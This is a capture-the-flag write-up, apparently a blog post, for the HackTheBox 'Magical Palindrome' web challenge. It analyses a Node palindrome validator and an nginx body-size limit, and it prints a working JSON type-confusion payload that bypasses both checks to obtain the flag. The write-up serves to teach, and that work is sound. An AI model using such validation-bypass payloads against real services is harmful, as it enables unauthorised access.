HackTheBox Web Challenge: Magical Palindrome
Initial Testing
- When we provide a small input, the application displays a “Tootus Shortus” error message, indicating that the input is too short.
- When we provide a 1000-character-long input, the application displays a “Request Entity Too Large” error, indicating that the request body is too large.
These two observations frame the whole challenge: the app wants a long palindrome, but the server won’t let us send one.
Source Code Analysis
index.mjs
IsPalinDrome() function
This function checks whether the input is a valid “palindrome.” It returns:
null→ success case- an error string → failure case
const IsPalinDrome = (string) => {
if (string.length < 1000) {
return 'Tootus Shortus';
}
for (const i of Array(string.length).keys()) {
const original = string[i];
const reverse = string[string.length - i - 1];
if (original !== reverse || typeof original !== 'string') {
return 'Notter Palindromer!!';
}
}
return null;
}- Length check: If the string is shorter than 1000 characters, it returns
'Tootus Shortus' - Palindrome check: It loops through every character
of thestringand compares each character with its corresponding character from the end of thestring.
-string[i](the character from the front)
-string[string.length - i - 1](the matching character from the back)
It returns:
- 'Notter Palindromer!!' -> failure case
- null -> success.
A palindrome reads the same forwards and backwards, like racecar. Here it also has to be at least 1000 characters long.
The route handler
app.post('/', async (c) => {
const {palindrome} = await c.req.json();
const error = IsPalinDrome(palindrome);
if (error) {
c.status(400);
return c.text(error);
}
return c.text(`Hii Harry!!! ${flag}`);
});- It reads the JSON body and extracts the
palindromefield. - It calls
IsPalinDrome()function to check if the input is a palindrome. Then it returns:
- status400+ the error message -> failure case
-Hii Harry!!! <flag>-> success case
nginx.conf
server {
listen 80;
server_name 127.0.0.1;
client_max_body_size 75;
location / {
proxy_pass http://127.0.0.1:3000;
proxy_read_timeout 5s;
}
}client_max_body_size 75; sets the maximum allowed size of the client request body to 75 bytes.
Findings and Conclusions
- The web application takes JSON input.
- We need to send a palindrome in the JSON request body satisfying
string.length >= 1000. - But Nginx is configured with
client_max_body_size 75, preventing us from sending a large request. - Conclusion: We need to find a way to satisfy this logic without sending 1000 real characters.
c.req.json()Just parses whatever JSON we send. Sopalindromecan be:
- a number
- an array
- an objectIsPalinDromefunction assumes
–stringis a string, but never validates the data type.
– It uses.lengthproperty and array-like indexing to validate the input.
Length Check Bypass
If we send a JSON object like {"length": "1000"} as the palindrome value, we’re exploiting the fact that .length isn’t a special, protected property on a plain object. It’s just a key we control:
string = {"length": "1000"}
string.length
// → "1000""1000" < 1000 // → false (string "1000" coerced to number for comparison)Since "1000" < 1000 is false, the function skips the 'Tootus Shortus' early return — without us having sent anywhere near 1000 real characters.
Palindrome Check Bypass
for (const i of Array(string.length).keys()) {
This line is meant to generate 0, 1, 2, ..., 999 so the loop checks every character pair. But Array()’s behavior depends entirely on the type of its argument:
Array(1000)→ a Number argument → creates an array with 1000 empty slots (length 1000).Array("1000")→ a non-Number argument (a string) → creates an array containing one element, the string"1000"itself. Its length is 1, not 1000.
Array(1000).length // 1000
Array("1000").length // 1
Array("1000") // ["1000"]const string = {"length": "1000"}
console.log(string.length);
// → "1000"
console.log(Array(string.length));
// → ["1000"]So Array(string.length) gives ["1000"] —> a length-1 array.
Array(string.length).keys()
// 0That means the loop body runs once, with i = 0.
Get Sanduni Fernando’s stories in your inbox
Join Medium for free to get updates from this writer.
For the i = 0 case:
const original = string[i]; // string[0]
const reverse = string[string.length - i - 1]; // "1000" - 0 - 1 = 999 → string[999]original = string[0]
reverse = string[999]We just need string[0] and string[999] to be equal and both of type 'string'.
Since we’re sending an object instead of an actual string, string[0] and string[999] don’t exist automatically. We have to define them ourselves. And they need to be string values, not just any value: the function also checks typeof original !== 'string', so if we left those keys out, original and reverse would both be undefined, and undefined isn’t a string. The check would fail. So we need an object with 3 properties:
{
"length": "1000",
"0": "a",
"999": "a"
}"length": "1000"→ beats the< 1000check because it’s compared as a string, and later gets turned into the number999when used for the reverse index."0": "a"and"999": "a"→ these are just object properties, read viastring[0]andstring[999], the same way indexing works on any array or string.
Final Payload
{"palindrome":{"length":"1000","0":"a","999":"a"}}This is only 50 bytes, comfortably under nginx’s 75-byte limit.
Sending the Exploit
Execution trace:
string.length→"1000"→"1000" < 1000→false→ length check passed.Array(string.length)→Array("1000")→["1000"]→.keys()→ only yields0.- Loop,
i = 0:original = string[0] = "a",reverse = string[999] = "a"→ equal, and both are strings → check passes. - Loop ends (only one iteration) → falls through to
return null;. - Back in the route handler,
errorisnull(falsy) → server responds:Hii Harry!!! <flag>








